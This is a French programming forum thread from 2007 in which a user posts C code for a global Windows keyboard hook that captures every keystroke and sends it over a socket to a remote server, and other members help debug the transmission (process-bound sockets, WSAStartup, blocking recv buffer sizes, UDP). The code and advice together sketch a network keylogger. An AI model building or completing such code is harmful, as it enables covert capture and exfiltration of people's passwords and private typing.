XKaliBur
Messages postés45Date d'inscriptionvendredi 20 février 2004StatutMembreDernière intervention13 février 2007
-
14 janv. 2007 à 01:32
XKaliBur
Messages postés45Date d'inscriptionvendredi 20 février 2004StatutMembreDernière intervention13 février 2007
-
14 janv. 2007 à 17:48
Le probleme est que je réalise un hook sur mon clavier et que chaque frappe interceptée je veux l'envoyer via un socket à un serveur, mais des que j'envois le send() le serveur n'affiche rien et pourtant je suis bien connecté, j'arrive pas à comprendre pourquoi. Merci d'avance.
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hDLLInstance = hInstance; //Garde en mémoire l'instance pour SetWindowsHook()
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
LRESULT CALLBACK KeyboardHook(int nCode, WORD wParam, DWORD lParam)
{
char ch;
LRESULT NextHook = CallNextHookEx(hook, nCode, wParam, lParam);
//Prépare la valeur de retour de la fonction et passe le message à un autre Hook
//Si la frappe a déjà été traitée (c'est une répétition)
if(!((DWORD)lParam & 0x40000000 && (HC_ACTION==nCode)))
return NextHook; //alors on passe la main à un autre Hook
BYTE Keyboard_state[256];
GetKeyboardState(Keyboard_state);
WORD wBuf;
UINT ScanCode=0;
ToAscii(wParam,ScanCode,Keyboard_state,&wBuf,0);
ch=((char)wBuf);
SendChar(ch);
return NextHook;//Passe la main à un autre Hook
}
__declspec(dllexport) int Start()
{
hook = SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)KeyboardHook,
hDLLInstance,
0);
cs_aardman
Messages postés1905Date d'inscriptionmercredi 22 janvier 2003StatutMembreDernière intervention17 septembre 20123 14 janv. 2007 à 17:24
Salut,
Ton socket est valide uniquement dans le contexte du processus qui l'a
créé, et comme ta dll de hook est mappée dans plein de processus... ca
risque pas de marcher. Il faut aussi appeler WSAStartup() avant
d'utiliser les sockets dans un processus.
Les hooks c'est assez compliqué, les sockets aussi, alors moi je te conseillerais plutot de pas mélanger les deux.
BruNews
Messages postés21040Date d'inscriptionjeudi 23 janvier 2003StatutModérateurDernière intervention21 août 2019 14 janv. 2007 à 17:44
Il y a 2 hook que l'on peut faire global system sans dll, clavier et souris car le system les gère en tant que ressources partagées.
Voila qui devrait résoudre le prob énoncé par aardman.
BruNews
Messages postés21040Date d'inscriptionjeudi 23 janvier 2003StatutModérateurDernière intervention21 août 2019 14 janv. 2007 à 03:10
Pas le temps de regarder tes probs de transmission.
Mais alors ceci semble une vraie plaisanterie:
std::string Str;
Str = c;
sprintf (buffer, "%s", Str.c_str());
send (sock, buffer, strlen (buffer), 0);
Faudra prévoir un octo Itanium minimum si tu prog tout ainsi...
cs_vicenzo
Messages postés178Date d'inscriptionmardi 16 août 2005StatutMembreDernière intervention25 août 20101 14 janv. 2007 à 08:39
C'est normal que le serveur n'affiche rien car tu lui indique de recevoir 512 bytes. Ton socket est en mode bloquant, c'est à dire que recv ne retournera que lorsque tu aura aura recu 512 bytes ou quand la connexion sera fernée ou perdue.... Donc, tu recevra quelque chose tousles 512 charactères tapés sur le clavier !
Il faut toutjours :
* soit faire en 2 temps : tu envoi la taille codée sur un nombre de bytes donnée (soi en brut - 4 bytes et tu envoi la taille directe - soit la taille convertie dans un buffer char dont la taille est fixée à l'avance - ce qui est plus portable en fonction des processeurs (big /little) mais plus lourd -.)
* soit faire un recv byte par byte et s'arrêt lorsque le byte est un (ou des) byte (s) d'arrêt que tu a choi à l'avance (\n; \r\n, ...)
Dans ton cas très simple, si tu veux envoyer juste un charactère, fais comme BruNews d'indique tu envoi un buffer dont la taille est connue à l'avance : 1 bytes....
Par contre ce qui pertubant, c'est ton code utilise TCP (SOCK_STREAM) et non pas UDP(SOCK_DGRAM). En TCP, chaque envoi de paquet sur le réseau nécessite un acquittement de l'autre coté afin de préserver le plus possible l'intégrité des données (c'est du ping pong !). Donc chaque fois que tu tape sur une touche, ta machine attend une réponse du réseau... Lourd !! En UDP, tu envoie sans te soucier du retour, c'est donc beaucoup plus light et rapide mais les connexions sont moins sûres... Je pense que tu devrais passer en UDP....
Vous n’avez pas trouvé la réponse que vous recherchez ?
XKaliBur
Messages postés45Date d'inscriptionvendredi 20 février 2004StatutMembreDernière intervention13 février 2007 14 janv. 2007 à 13:28
Merci de vos réponse, du coter du serveur j'ai remplacer :
char buffer[BUFSIZ];
....
memset(buffer, '\0', BUFSIZ); //on vide le buffer
recv(csock, buffer, sizeof(buffer), 0);
printf("%s",buffer);
BruNews
Messages postés21040Date d'inscriptionjeudi 23 janvier 2003StatutModérateurDernière intervention21 août 2019 14 janv. 2007 à 13:45
char buffer[1];
memset(buffer, '\0', 2);
heureusement que le compilo aura traduit buffer[1] en buffer[4] sinon badaboum, tu aurais memset 2 octets sur un buffer de 1.
Faut te plonger dans un bouquin de C et réfléchir à ce que tu écris.
memset génère une boucle totalement inutile, buffer[0] = 0 suffit pour 1 octet.
XKaliBur
Messages postés45Date d'inscriptionvendredi 20 février 2004StatutMembreDernière intervention13 février 2007 14 janv. 2007 à 13:50
Dsl faute de frappe dans mon code y'a bien 1.
Mais si j'appelle la fonction SendChar juste après le InitConnexion() dans le DllMain, le serveur recoit tres bien les caractere , c'est des que je met un SendChar dans Hook y'a plus rien qui ce passe ...